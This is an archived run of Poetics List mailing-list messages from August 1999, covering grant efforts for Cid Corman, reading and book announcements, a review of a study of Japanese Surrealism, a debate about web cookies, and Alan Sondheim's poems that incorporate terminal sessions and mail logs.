k e n n i n g_____ a newsletter of contemporary poetry poetics & nonfiction writing _____http://www.avalon.net/~kenning 418 BROWN STREET #10 IOWA CITY IOWA 52245 USA

On Tue, 24 Aug 1999, Aaron Fewell wrote:

> *In a message dated 8/23/99 12:09:28 PM Eastern Daylight Time,*
> *[redacted] writes:*
>
> *<< forwarding this from another list -- Phelps has got his work cut out for*
> *him -- pray to the rev you've come here in time to see this:*
> *www.godhatesfags..com*
>
> *Patrick F. Durgin*
> *>>*
>
> *what exactly was done to Phelps site?*
>
> *aaron keith*

↑ Index

291. **Poetics List Administration**
Re: Cid Corman / Mills
Wed 25 Aug 1999

I couldn't find much in the way of specific information on awards made by the Lannan Foundation by searching the www; evidently they have no site of their own. I did, however, find a street address.

Lannan Foundation
725 Arizona Ave., Suite 200
Santa Monica 90401-1734

[redacted]

Nor was I able to find any mention of monies given for "lifetime achievement" and so forth at the NEA web site; apparently this award has been discontinued.

The Lannan Foundation could be a good bet; I still think there must be some other federal money available, so wouldn't discount querying the ambassador - though I agree that my earlier suggestion to bombard him with mail was premature. I will write to the NEA this afternoon, which is a simple query; again, I would suggest that someone closer to the circumstance write a detailed letter to the Lannan Foundation and to the U.S. ambassador to Japan.

It's too bad The MacArthur Fellows Program only accepts nominations from its designated nominators in the U.S.; as a matter of course, their names are not made public. MacArthur Fellows are given a 5-year unconditional income of $30,000 - $75,000 annually, plus comprehensive health insurance. The John D. and Catherine T. MacArthur Foundation seems to be one of the only major grant-making foundations that makes large gifts directly to individuals, rather than making them to or through institutions. Previous recipients include John Ashbery and Harold Bloom, Ann Lauterbach, Robert Hass, Jorie Graham, etc.; also Sandra Cisneros, Thomas Pynchon, Ishmael Reed. Interestingly, I notice that Stanley Cavell rec'd a fellowship at one time; as did Richard Rorty.

Chris

% Christopher W. Alexander
% poetics list moderator

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292. **Tosh**
Re: Cid Corman / Mills
Wed 25 Aug 1999

That maybe a local office (Santa Monica) of the Lannan Foundation, but I believe their main headquarters is in Santa Fe, New Mexico. I know of Cid Corman, but I don't know his work that well. So I suggest that someone who

knows the work and history of Cid, should write the letter. Also Cid translated some Japanese classic literature, no? If that's the case perhaps he can get some funding from the Japan Foundation - which seems to do cultural activity. I don't know if they give money directly to individuals. Maybe just to non-profit organizations.

The NEA would take forever! I don't know how strongly Mr. Corman needs financial aid - but I do think it would be best to direct funding from private foundations. Also someone should bring this issue up with Pen. As well as with Poets & Writers, Inc.

The MacArthur Grant is fantastic. But it is a secret process. I guess one could ask a past winner.

best,

Tosh Berman
TamTam Books

↑ Index

293. Kyle Conner
Highwire Reading!!
Wed 25 Aug 1999

Cats & kitties, here it is, the much-anticipated schedule for our dynamic, bombastic SECOND SEASON!!! Hold on to your hats.

H I G H W I R E
READINGS AT HIGHWIRE GALLERY

'99 Fall Schedule:

9/4 Justin Vitiello / Edmund Berrigan

9/18 Kristin Prevallet / Matt Hart

10/2 Allison Cobb / Dave Simpson

10/16 Jena Osman / John Colleti

10/30 Mark Wallace / TBA

11/13 Heather Star / Alan Gilbert

11/20 Heather Thomas / Carol Mirakove

12/11 Edwin Torres / Mytili Jagannathan
(with afternoon talk at Writers House given by Edwin Torres)

Saturdays, 8PM, 139 N. 2nd St., Philadelphia
BYOB

"Antiseptic vessel whisper the great underground antinomy"

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294. Patrick Herron
Re: Stafford poem critique
Wed 25 Aug 1999

The critique is in the September 1999 issue (cover story) of Harper's Magazine. Charles Simic, Paul Muldoon, Heather MacHugh, Donald Hall, and someone else whose name has suddenly slipped my mind each picked a favorite poem and then they critiqued each selection as a group. Simic chose the Stafford poem largely because it was plain and yet subtly ironic while leaving readers unsatisfied. There was also an O'Hara poem critiqued ("Lunch Hour," I think).

Patrck Herron

>Barrett Watten knows the story on the critique of Stafford's deer by the
>side
of the road poem.

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and Do More On The Web. Visit http://www.msn.com

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295. Tosh
Re: Cid Corman / Mills
Wed 25 Aug 1999

Thanks for Jesse Glass's update! I would still write a letter to Patrick Lannan, because basically he is Lannan Foundation. It is a private foundation and I think he can pull strings if he's interested in doing so.

Perhaps Amb. Foley could pull some strings or at least arrange a 'letter' to recommend Cid to get some funding. I know it is very difficult time for small shop owners in Japan - especially in Kyoto which must be very expensive.

The person to speak to is Karen Clark at Poets & Writers Berkeley. I think she can honestly give information about the possibliity of Cid getting grants and also additional information on organizations, etc.

best,

Tosh Berman

TamTam Books

↑ Index

296. **Alan Sondheim**
[Wrote 91 lines] [Where poets live]
Wed 25 Aug 1999

-==

[Wrote 91 lines]

UW PICO(tm) 3.5 File: zz Modified

What does it mean to spread the following, one machine coupled to another, you are so breathless, Jennifer, reading across wires thrust from my throat to yours

What does it mean that I am in the machine? Which machine, location, spread out across _this_ desktop and _this_ ISP and _your_ location, fragmented beyond belief I would declare, from the site of the mouth, from _your_ mouth, from the sight of you, from emissions from _your_ holes splayed out / sprayed out from which machine? [Wrote 20 lines]

Ju2lu% b
You have no mail.
Ju3lu% ls
Mail lisp thing News lynx_bookmarks.html tiny.world a mail trace
calendar phoenix.hlp venom.irc fbw phoenix.irc volt.irc jobs tf
zz lb tf-lib
Ju4lu%
Ju5lu% exit
Connection closed by foreign host.
{k:502}
{k:502}What does it mean that I am in the machine? Which machine, location,
bash: What: command not found
{k:503}spread out across _this_ desktop and _this_ ISP and _your_ location,
bash: spread: command not found
{k:504}fragmented beyond belief I would declare, from the site of the mouth,
bash: fragmented: command not found
{k:505}from _your_ mouth, from the sight of you, from emissions from _your_

bash: from: command not found
{k:506}holes splayed out / sprayed out from which machine?
bash: holes: command not found
{k:507} What machine? What machine? What machine?
{k:508} What local looping? Oh Oh Oh, this is far too simple-dimple!

"For I do write from my location, this desk facing this window, the tree in the distance, storm-clouds overhead, the shuddering atmosphere, radio going behind me, threatening weather, glimmers of lightning on the horizon

"Your mouth, a conundrum

"The problem of extreme distance, stretch of the cool body, lightning across beds and atmospheres, walking in the midst of storm-clouds, sites of infinite mouths

"Philosophies of location, Russell at his writing-desk, Sartre at his cafe, Schutz by his window

"What do you see at http://www.anu.edu.au/english/internet_txt/skye.jpg or these or other clouds

"Ju6lu% netstat | grep sondheim
tcp 0 0 panix3.telnet sondheim.dialup..1046 ESTABLISHED

"Between one and another, between inscription and the fall, between fall and inscription

"You are so breathless, Jennifer

==========
========== > > >

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297. **maz881**
Drugs
Wed 25 Aug 1999

Hey Bill Marsh,

I've been meaning to say great job on Steve Carll's Drug book (paper brain press). It even looks like an anti-drug pamphlet. And the poems are pretty far out. Steve is doing some great work these days.

the other Bill

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298. Richard Dillon
Re: context middleman rfp / lang ipo
Wed 25 Aug 1999

Barrett Watten knows the story on the critique of Stafford's deer by the side of the road poem.

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299. Juliana Spahr
now available: Catalina Cariaga's Cultural Evidence
Wed 25 Aug 1999

Catalina Cariaga
cultural EVIDENCE

Cultural Evidence is evidence that waves of the Asian Pacific can arrive upon the sandy shores of American English. Cariaga is a poet alert to written and oral traditions and what can be done to accommodate them in the many directions that American poetry can take. —Victor Hernandez Cruz

This deeply thoughtful assemblage from Catalina Cariaga documents the search for cultural clues suggested by her title. She reveals her generational memory both circumstantially and directly, where in her childhood “the sea is a woman,” the barong (traditional shirt) is an ironic symbol, and Billie Holiday, grunion, and the exact procedure for citizen’s arrest—like a palimpsest—further define her point-of-view. Her calm speech fragments stand in the present, but step—with serious urgency—into this past, to trauma, the origins of identity, and her inherited love of language. This is a brave, innovative, and ultimately searing book. —Joyce Jenkins

Catalina Cariaga is a pyrotechnic burst of light in the horizon of American poetry. Cultural Evidence is a worthy book of poems for all libraries and lovers of avant-garde literature. —Nick Carbo

This first full length collection from Catalina Cariaga uses an experimental, documentary poetics for profound and moving culture observation. The poems here are critique, history, and personal anecdote. “No Tasaday,” for example, examines the controversy surrounding the Tasaday people of the Philippines (believed by some anthropologists to be a tribe but now generally considered to be a hoax). “The Mercy” mixes passages from an Ilocano and English grammar book, the Bible, and a mother’s memories of her departure from the Philippines. 88 pages, 6” x 8,” perfect bound $12

Published by SUBPRESS COLLECTIVE Subpress is a publishing collective of 19 members, each of whom has agreed to donate a fixed portion of their income

for the next three years. Over those three years, each collective member will edit one book of poetry by an author of their choice.

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Caroline Sinavaiana, Alchemies of Distance
Edwin Torres, Fractured Humorous

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Order through email ([redacted]) or direct from `A `A Arts:

____ $12 Catalina Cariaga, Cultural EVIDENCE
____ $10 John Wilkinson, Oort’s Cloud

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name _____
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`A `A Arts
Department of English
U of Hawai`i, Manoa
1733 Donaghho Street
Honolulu, HI 96822

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300. Julie Johnson
Upcoming book on Japanese Surrealism
Thu 26 Aug 1999

Here is a book review for an upcoming book on the Japanese Surrealists. It is already listed at Amazon, but really won't be available until November. Review is by Eric Selland.

_____

Book Review: Fault Lines: Cultural Memory and Japanese Surrealism , by Miryam Sas, Published by Stanford University Press, 1999, 240 pages, $18.95 paper, ISBN 0804736499.

Possibly one of the most significant developments in scholarship in recent years is the willingness to view historical and cultural change in non-western countries on their own terms, rather than exclusively according to Western assumptions and expectations. We may be unable, as the phenomenologist Gadamer points out, to wholly lay aside our own cultural subjectivity, but we can at least listen to the voices of others as they express their thoughts in their own words. Most often in anthologies and biographical sketches the critical and theoretical writings of modern Japanese poets have been ignored. Few studies outlining the details of a particular poet's thought as it effects actual poetic practice have been produced in this country other than outstanding exceptions such as Hosea Hirata's work on the poetics of Nishiwaki Junzaburo. With Miryam Sas' groundbreaking study we are given a clear, and even intensive sense of the Japanese Surrealists as very much modern intellectuals in an active and passionate engagement with the ideas of their time. The theoretical writings and developments in the thought of such notables as Takiguchi Shuzo, who introduced Surrealism to Japan through his translations of Breton as well as his own writings, are covered extensively. Moreover, Sas provides material here which leads not only to a deeper understanding of the thought behind 20th Century Japanese literary movements, but of the process of cultural transfer as well, in all its complexity and ambiguity. Sas notes in her prologue that "Japanese Surrealism is striking and important both for the specific questions it raises and for its exemplary place as an encounter between cultures, literary movements, and languages." Sas uses the title of her book, "Fault Lines", to denote how the introduction of Surrealism to Japan was, like the great Kanto earthquake which occurred around the same time, an occasion not only for literary "shock" and "rupture", but a variety of creative reconfigurations as well.

The book goes beyond a simple chronology of events as they occurred, and instead takes up specific theoretical and often deeply philosophical issues of concern to both French and Japanese poets, showing in great detail how the Japanese poets dealt with these issues within their own thought processes and poetic procedures. Both poetic works and theoretical writings of major Japanese figures such as Takiguchi Shuzo, Nishiwaki Junzaburo and Kitasono Katue, as well as Surrealist forerunner Hagiwara Sakutaro are quoted and examined in great detail. What is striking, as mentioned previously, is that those of us already familiar in general with the works of these poets and their lives are given a much stronger impression of them as brilliant and important thinkers of their time. Takiguchi was both a major theorist and translator of

French poetry during his time, and an examination of his work, as well as that of Nishiwaki Junzaburo, brings up specific problems of language, meaning and translation, in regard to which both these thinkers had a surprisingly subtle and sophisticated understanding in a time when the linguistic and semiotic theories those of us in the fields of language and literature now take for granted were just barely being developed. We are also shown exactly how cosmopolitan Japanese poets were before World War II by the examples of the international activities of Kitasono Katue, who corresponded with Ezra Pound for many years, and Takiguchi Shuzo who shared his ideas with Breton during this time, finally visiting him in person in Paris in 1958. Sas provides us with a rich selection of samples of poems, theoretical writings and visuals in the appendix, for those interested in reading these in more detail in the original.

One of the most important contributions this book brings to current scholarship is the rediscovery of two nearly forgotten women Surrealists -- Ema Shouko and Tomotani Shizue. These poets, along with other women experimentalists of the pre-war period, have been almost completely ignored until now, not only here but in Japan as well. A major anthology of Japanese Modernist poets published in the 1969 (Gengo Kuukan, edited by Ohka Makoto) includes virtually no women at all. Sas gives both these sensitive and intelligent poets the attention they deserve, opening the way for further research on their work, as well as other women experimental writers of the period.

Sas' interest in Japanese Surrealism and its influence on later experimental movements has led her in the direction of performance. Hence the epilogue on one of the most important post-war developments in the avant-garde in Japan, that of the Butoh, a new dance-performance art form created by Hijikata Tatsumi. Sas examines the writings and thought of the major artists here, including Ohno Kazuo, and the various ways in which Surrealism, as well as the Japanese Noh theories of Zeami have been adapted and interpreted.

Throughout this study Sas makes an extensive use of the writings of Japanese poets, artists and critics, bringing needed attention not only to the better known modern poets such as Nishiwaki and Takiguchi, but hitherto ignored women poets such as Ema Shouko and Tomotani Shizue as well. In doing so we also run across other names not often seen in academic works, such as Yoshioka Minoru (possibly the most important postwar poet following in the steps of the Surrealists) and Nagata Koi, enigmatic experimental haikuist and essayist on philosophical subjects as well as the Butoh. A wealth of material appears here which should add significantly to the awareness in this country of experimental poetry in Japan during this century, and whet the appetites of students and researchers, leading hopefully to further fruitful work in this area.

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301. Richard Dillon
Re: Cid Corman / Mills
Thu 26 Aug 1999

Assemble about $10,000.00 and buy NAVARRE (NAVR) on Nasdaq (Ed Dorn's favorite exchange) for an account opened at your local Fidelity Brokerage in the name of Cid Corman. But you have to do it soon.

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302. Todd Baron /*/ ReMap Readers
Re: Cid Corman / Mills
Thu 26 Aug 1999

the lannan stopped lit. awards a while back--
concentrating on visual arts and their collection.

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303. jesse glass
Re: Cid Corman / Mills
Thu 26 Aug 1999

Dear Tosh and everybody:

Cid did get a Lannan award several years back, if I'm not mistaken, and yes, please put his name forward for any grants that you may be aware of.

Unfortunately, grants, the last time I checked, are a bit of a crap shoot, and are particularly so for someone who has spent most of a long career living in a foreign country. As Cid himself told me this evening, the awards go to scholars and artists coming in to Japan for short-term residencies and are simply not available to permament residents.

Admittedly, the letter writing to Foley is a long shot, but the primary reason why I suggested it (outside of Corman's obvious worthiness): is because in Japan "official recognition" by government or academic agencies often breaks the ice so that local (Japanese) sources of aid become available, and it is a sad fact that Corman has not received much--if any--help from Japanese arts agencies.

Cid Corman, now in his 70's, lives in a tiny house in Kyoto. His wife Shizumi and her sister and brother run a shop called C & C's where they sell sandwiches, beverages and ice cream. This is their sole source of income. (Corman's income from his writing is negligible. In fact, Cid usually sends the checks to other writers as "grants" because it costs more to cash the check in a Japanese bank than what they're worth!) Business is not so good, and with

everyone getting older, no pensions, and not much in savings the future looks iffy to say the least. Shizumi works seven days a week. Soon she will have to retire. After that, Cid says, he is not sure what they will do.

-----Original Message-----
From: Tosh <[redacted]>
To: [redacted] <[redacted]>
Date: Wednesday, August 25, 1999 10:43 AM
Subject: Re: Cid Corman / Mills

> *Another thought! Why not approach the Lannan Foundation. They are known to give out liteary grants to specific writers who contribute...etc.*
> *Perhaps if someone can draft up a letter (with signitures from this list and others) and send it off to Patrick Lannan - that might be affective.*
>
> *----------*
> *Tosh Berman*
> *TamTam Books*
> *----------*

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304. **Owen Hill**
Re: Serge Gainsbourg's Evguenie Sokolov
Thu 26 Aug 1999

I highly recommend the Serge Gainsbourg book. Thank you, Tam Tam, for having the good (?) taste to publish it.

Owen

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305. **Billy Little**
just a warning, re:Spark
Thu 26 Aug 1999

some of you may have been solicited by spark magazine recently, check out the sight but be warned: the links page at least has got more cookies than i've seen on any sight even Bob Holman's site stops at six or seven a page, i don't know if you're like me but i like to read a page while another is loading and all these cookies make it impossible to read and then you have to decide do you want to be offered up as a lure so that others may have surveillance placed on their surfing? Maybe they're naive, maybe i'm paranoid, but maybe they're hoping to get rich on your content. How do others feel about cookies being laid on your readers while they're cheering your anti-establishment works?

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

↑ Index

306. **Patrick Herron**
Re: just a warning, re:Spark
Thu 26 Aug 1999

---

cookies are not inherently evil. they are like any other tool. they are as bad as they are implemented. a hammer can indeed be used as a murder weapon, but a hammer can also be used to build a home. cookies are a method of what is called "state management." they are tiny files saved on your computer that tell a web site such info as what pages on that site you have already been to, what you have clicked on, etc., so that the next time you arrive at that site it can present you with something that is more up your alley (which depends upon the criteria for "up your alley" the programmers use - they can even use novelty as a criteria, always sending you something you haven't seen). you can get to the info you need faster, and the web site people can better predict what you like. in this way we are talking about people making informed decisions about what to give you via very fast means. if it helps an anti-establishment person get to anti-establishment info faster, then that's pretty good. it can also help an e-publisher secure the fiscal support it may need to survive by providing better targeted banner ads, etc, thus making their advertising space more valuable.

OK, now we're getting to the evil stuff. getting compromised for advertising sales is a problem, obviously, poets spending their time as captialists, etc. but the biggest problem perhaps with cookies is this potential for surveillance you refer to. that potential depends somewhat upon whether the cookies used by a site are anonymous or not - whether the info on the cookie has enough info to reveal your identity in any way. many sites employ anonymous cookies so who you are is not attached to you. other sites do not use anonymous cookies, and shame on them. of course, there is always the possibility that even an anonymous cookie can be used as a clue as to who the owner really is.

besides, sureveillance is only effective if people BELIEVE AND FEAR they are being surveilled, and then only in a puritanical context. If you fear being watched, and you feel that your life includes some hidden "sin" or "transgression", then the people who manipulate that fear or possess info about your "abomination against 'god and country'" can pull your strings like a

puppet. you've got to feel a need to hide before this type of control can be effective.

Anyone read "Discipline and Punish" by Foucault? The text has many problems, politically speaking, such as its inability to admit the existence of true concentrated hierarches of power, but it has some good analysis of Bentham's prison model and the way modern power depends upon people believing they are being watched for possible transgressions against the state. It does not matter whether they are being watched; power functions most efficiently when no surveillance actually happens while people simultaneously believe that sureveillance happens. So perhaps an anti-establishment stance would be, go ahead and watch! See if I give a fuck! If everyone has something to hide, then what can you do to me? No one cares! Unfortunately American puritanism makes such a stance difficult.

As far as paranoia goes, yes you are being watched. After all, the internet was invented by DARPA (US Defense Advanced Research Projects Assoc., the special forces hi tech research group, where the US military concentrates its "intelligence"), so this whole internet thing was deployed in part to do exactly that - watch you, collect info on you. The real question is, do you let that collection of info about you control your life in any way? Do you give that surveillance (and transitively, the possibility of surveillance) power over you? Admittedly I sound as if I suggest playing a dangerous game of chicken, risking such head-on collision with the violent hidden monarchs, but we outnumber the establishment. they, whoever they are, fear the loss of control and prepare for it constantly. their fear, the fear of losing control of that which is greater than them, seemingly guides their every action.

as far as slowing down page loading, that sounds like plain ol' bad web design. I haven't seen the site.

: P

Patrick Herron

>some of you may have been solicited by spark magazine recently, check out
>the sight but be warned: the links page at least has got more cookies than
>i've seen on any sight even Bob Holman's site stops at six or seven a page,
>i don't know if you're like me but i like to read a page while another is
>loading and all these cookies make it impossible to read and then you have
>to decide do you want to be offered up as a lure so that others may have
>surveillance placed on their surfing? Maybe they're naive, maybe i'm
>paranoid, but maybe they're hoping to get rich on your content. How do
>others feel about cookies being
laid on your readers while they're cheering your anti-establishment works?

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

↑ Index

307. Eleni Stecopoulos
Klingon language query
Thu 26 Aug 1999

If anyone knows of any texts, excerpts, poems (Christian? Darren?), Hamlet in the original Klingon -- that are available on the web, please backchannel. I need something for my composition class's first translation project. Thank you.

↑ Index

308. Alan Sondheim
(no subject)
Thu 26 Aug 1999

o

she left home suddenly
she followed a man to a strange and foreign land
she lived with the man and wandered among eucalyptus and palms
strange birds assailed her tears beneath unfamiliar constellations
two suns, two moons, two earths
there were years of drought, years of plenty
trees, symmetrical, they dwelt in peace
her ancestral land, tales and ballads
meadows, ponds filled with beauty, wonder-fish, splendid mollusks
they were breathless, coral, lambs, wolves and great staghorn
new customs and clothing, lives of no regrets
a single meteor
a song

↑ Index

309. Alan Sondheim

Corrections

Thu 26 Aug 1999

---

o

Corrections

and kills, deletions everywhere, configuration files, initiation files, resource control files, segmentation faults, core dumps, useless hard- drive activity, all of this in a single directory, slackware linux, on a single hard-drive, on a non-descript compaq presario desktop not meant for these sorts of things - which then filter, leak, into the texts, cor- rupt them with meaningless symbols and {k:7} prompts going nowhere - the texts, my writing, my very own, suffers as a result - I try to include my failures here - not so much inhabiting the machine as mutual devouring - I'm in and out simultaneously - play both sides of the bridge - fear of water - the whole history of the world can be read in these three words - _the corrupted file_ - I do my best to bring you complete works, things of beauty, coherent, lovely beyond belief - dis/ease and dis/comfort beckon - there are cracks in the artifice, it's as if excretion were returning at long last from banishment - I can't hold on that long - there's always the probe into the machine - there's always the return of the machine to the probe - both flesh and silicon - all over, it's the way this universe was made -

but in these writings - too much emphasis on error, too many symbols, as I've said, too much corruption, not enough analysis - think of it as frustrated writing - the _act_ of it a frustration - writing through the debris - writing degree one, say, not zero, that is, writing in the proto- cols - did I say filtering, leaking into the texts? - there's dissolution and I'm ashamed of it (the system falters, flicker-rate of the screen shows up uneasily, migraine straight ahead), yes, ashamed - there's noth- ing to be proud of, this domination - Aug 26 13:17:32 nikuko sendmai- l[158]: EAA15303: to=<[redacted]>, ctladdr=<[redacted]> (0/0), delay=2+09:08:27, xdelay:00:11, mailer=esmtp, relay=diana.sfsu.edu. [130.212.10.239], statÞferred: 451 <[redacted]>... Domain must resolve Aug 26 13:17:39 nikuko sendmail[158]: EAA15309: to=<julu@student.- unsw.edu.au>, ctladdr=<[redacted]> (0/0), delay=2+09:07:59, xdelay00:00:05, mailer=esmtp, relay=rufus.comms.unsw.edu.au. [149.171.96.100], statÞferred: 451 <[redacted]>... Your hostname is unresolvable

---

↑ Index

310. A H Bramhall
social conformity vs Cid Corman
Thu 26 Aug 1999

Cid Corman needs financial backing so the answer this the poetry community reaches is to write letters? well that's a complicated enough reaction. (Great Pan Is Dead!). wouldn't money, the famous greengrab stuff, be more effective? not to fetishize money but the figurative BUCK is being passed here when a real one could be passed to someone who needs it. if that's the point here: I'm beginning to wonder. is my logic too deep? statements about community have resounded here recently but that's just yack for the cheap seats. community means exclusive neighbourhood, the usual who's in/who's out bullshit power structure. the fuckin Boston scene, the fuckin SF scene, the fuckin Philly scene. all just regional fuckin mugwumpism. you don't know community from horseshit so name the social club something else. you're waiting for someone important to talk to you, some authority, that's all. well Cid Corman already did. and, by the many accounts given, he is and has been a generous man, yet the response to his predicament is to look for a government or semi govt teat for him to suck on. charity begins with the government... sounds like those poli sci courses wore off. rather than barricading yourself in the administration building again, try sending him money. if, as I say, that's the point of this exercise. $$$Allen Bramhall$$$

↑ Index

311. Ann Vickery
Query re Tom Ahern and Michael Lally
Thu 26 Aug 1999

Dear Poetic Listers,

I was wondering if anyone who might have a contact address for Tom Ahern or Michael Lally could let me know. It would be greatly appreciated.

Sincerely,

Ann Vickery

↑ Index

312. Michael Leddy
Re: context middleman rfp / lang ipo
Thu 26 Aug 1999

Jordan,

Hall's referring to (though not quoting directly from) Bob Perelman's comment on this poem in a talk in the Talks issue of _Hills_. I think the talk is titled "The First Person."

Michael

> *can anybody supply the crucial omitted bibliographical data for the comment in re: William Stafford's "Traveling Through the Dark" as mentioned by Donald Hall in the Sep 99 Harpers Forum "How to Peel a Poem":*
>
> *Hall: The comma with "still" bothers me, because if the fetus is still how do you know it's alive? Alive still? How does he know it's alive? I read once from the speech of a Language poet who ridiculed this poem because it was William Stafford saying, "I'm a nice guy. What a nice guy I am."*
>
> *Jordan Davis*

↑ Index

313. David Baratier
Josh McKinney
Thu 26 Aug 1999

If someone can supply his new california address or if you're out there, backchannel.

Be well

David Baratier

↑ Index

314. Leonard Brink
Inscape #7
Fri 27 Aug 1999

INSCAPE #7

features poetry by:

Elizabeth Robinson
Avery E.D. Burns
Jerrold Shiroma
Jono Schneider
Keith Waldrop
Maxine Chernoff
Rosmarie Waldrop
Craig Watson
Sean Hansen

Listaferians can have this for the low, low price of just $4, first class postage paid.

Please make checks payable to Leonard Brink
Instress
P.O. Box 3124
Saratoga, CA
95070

↑ Index

315. Pierre Joris

FW: Please forward worldwide

Fri 27 Aug 1999

-----Original Message-----
From: Mark Clement [mailto:[redacted]]
Sent: Tuesday, August 24, 1999 10:39 AM
Subject: Please forward worldwide

To: News Editor For Immediate International Release

Contacts: Pam

Africa [redacted]

Clark Kissinger [redacted]

Death Warrant for Mumia Abu-Jamal imminent say Pennsylvania Officials

Harrisburg, PA. August 24, 1999. State officials say Governor Ridge may sign a death warrant for Mumia Abu-Jamal at any time, according to a recent article in the Philadelphia Daily News. Once a death warrant is signed Mr. Jamal will be effectively silenced. He will be moved from a regular death row cell into "Phase II", where highly restrictive conditions of imprisonment will be applied:

1) No property allowed in cell - no access to legal papers.
2) No phone calls except with the Warden's permission, call by call.
3) Visits only by immediate family.
4) 24 hour camera surveillance in cell.
5) No clothes provided for prisoner's possession. May be left naked in cell for hours.
6) Visits with attorneys only under surveillance by staff/guards.

Meanwhile the public relations war surrounding his case continues. An astonishing claim by Maureen Faulkner, widow of the police officer Mr. Jamal is accused of shooting, was outlined by Linn Washington in a recent Philadelphia

Tribune column. According to her claim, Mr. Jamal turned and smiled at her in the courtroom when her husband's bloodstained and bullet-ridden jacket was exhibited to the jury during his trial. The only problem with her claim is that Mr. Jamal was not in the courtroom the day the jacket was exhibited, proven by trial transcripts. In fact, he was excluded from most of his trial and was not allowed to represent himself.

Mrs. Faulkner has maintained that Mr. Jamal has no support in Philadelphia for a new trial. However, among the notable citizens of Philadelphia calling for a new trial are: Chaka Fattah, Reverend Henry Wills, Henry Nichols (President of 1199), John Street, Professor Tony Montero, Professor Sonya Sanchez, State Senator Vincent Hughes, State Representative Harold James, Reverend Sheppard, and many others.

Buzz Bissinger (in Vanity Fair) and Sam Donaldson (on ABC's 20/20) recently championed Philip Bloch, praising him as a man of courage for coming forward to reveal that Mr. Jamal had "confessed" to him in 1992. They were unaware that Mr. Bloch wrote to Mumia in 1993 expressing his belief in Mumia's innocence. Furthermore, Bloch paid $20 in 1995 to have his name added to a newspaper ad listing those who believed Mumia was innocent. The ad appeared in the Philadelphia Inquirer and the Harrisburg Patriot-News and declared "We care about Mumia because there is compelling evidence pointing to his innocence." Mr. Bissinger and Mr. Donaldson bought into Phil Bloch's lie.

Buzz Bissinger has been the primary publicist for current Philadelphia Mayor Ed Rendell, District Attorney when Mr. Jamal was tried and sentenced to death in 1982. Rendell is now contemplating a run for Governor and it is widely believed that if Mr. Jamal were to receive a new trial at the Federal level evidence would emerge that would seriously damage Rendell's political career.

Governor Ridge: [redacted] Mayor Rendell: [redacted] Phil Bloch: [redacted]

--30--

↑ Index

316. Mark Prejsnar

Re: Upcoming book on Japanese Surrealism

Fri 27 Aug 1999

The review of Fault Lines is quite interesting. Thanks to a brief mention on the List, i have been reading john Solt's really excellent and useful Shredding the Tapestry of Meaning, a biography of Kitasono Katue, which includes a number of fascinating translations... On occasion i would take issue with Solt on certain ideas vis-a-vis western poetry, and on occasion his understanding of just how

meaning and form function in poetry seems a little simplistic; but basically it is a dynamite book.

The Solt book led me in turn to several works on, and translations of, Nishiwaki (mentioned quite a bit in the Fault Line review)..

Now both these japanese poets identified themselves at certain key moments with "surrealism"--but i strongly recommend Solt's book for a rich and detailed discussion of how that related to French and other surrealisms.....Basically, his point is that the Japanese were taking what they needed, and often had very little sense of what the French were intending and doing (and didn't always necessarily care)....so that "Japanese surrealism" is a rather specific entity, not necessarily that close to what we usually mean by the word... (i sure can't judge the accuracy of this; but Solt's discussion is compelling and fascinating...and it does square with the sense one gets from various translations of Kitasono and Nishiwaki..)

My personal feel, coming to this work in ignorance and lacking the language, is that Solt's tranlations of Kitasono are extraordinary and of great interest; i frankly find Nishiwaki far more conservative and less striking, as rendered by the several translators i've seen....

In any event, the recent emergence of this stuff is very exciting....

Mark P.

↑ Index

317. Poetics List Administration

list stats

Fri 27 Aug 1999

My apologies to those inaccurately represented;
for details as to the who and how of exclusions,
consult previous "list stats" messages in the
list archive at <http://epc.buffalo.edu/poetics>.

Chris

--

Country	Subscribers
Australia	13
Belgium	2
Canada	43
Finland	1
Germany	2
Great Britain	22

India	1
Ireland	5
Italy	1
Japan	7
Netherlands	1
New Zealand	14
Poland	1
Singapore	1
Spain	2
Sweden	4
Switzerland	2
Thailand	1
USA	636
Yugoslavia	1

Total number of users subscribed to the list:	762
Total number of countries represented:	20

↑ Index

318. Poetics List Administration

Welcome Message somewhat revised

Fri 27 Aug 1999

Welcome to the Poetics List & The Electronic Poetry Center

.sponsored by The Poetics Program, Department of English, College of Arts & Science, the State University of New York, Buffalo /// Postal Address: Poetics Program, 438 Clemens Hall, SUNY Buffalo, NY 14260

Poetics List Moderator: Christopher W. Alexander
Please address all inquiries to <[redacted]>.

Electronic Poetry Center: <http://epc.buffalo.edu>

= Contents =
1. About the Poetics List
2. Subscriptions
3. Submissions
4. Cautions
5. Digest Option
6. Temporarily turning off Poetics mail
7. "No Review" Policy
8. The Electronic Poetry Center (EPC)
9. Poetics Archives at EPC

10. Publishers & Editors Read This!

Above the world-weary horizons
New obstacles for exchange
arise Or unfold,
O ye postmasters!

1. About the Poetics List

With the preceeding epigraph, the Poetics List was founded by Charles Bernstein in late 1993. Now in its second incarnation, the list carries over 750 subscribers worldwide, though all of these subscribers do not necessarily receive messages at any given time. A number of other people read the Poetics List via our web archives at the Electronic Poetry Center (see section 9 below).

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list relatively small and the volume manageable.

increasing number of subscribers, we are no longer able to maintain the open format with which the list began (at under 100 subscribers). All submissions are reviewed by the moderator in keeping with the goals of the list, as articulated in this Welcome Message. We remain committed to this editorial function as a defining element of the Poetics List. Our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible.

For further information on posting to the list, see section 5 below. Publishers and series co-ordinators, see also section 10.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. Brief reviews of poetry events and publications are always welcome. See section 7 for details.

We recognize that other lists may sponsor other possibilities for exchange in this still-new medium. We request that those participating in this forum keep in mind the specialized and focussed nature of this project. For subscription information or to contact the editors, write to <[redacted]>.

---

2. Subscriptions

Subscriptions to the Poetics List are free of charge, but formal registration is required. We ask that when you subscribe you provide your full name, street address, email address, and telephone number. All posts to the list should provide your full real name, as registered. If there is any discrepancy between your full name as it appears in the "from" line of the message header, please sign your post at the bottom.

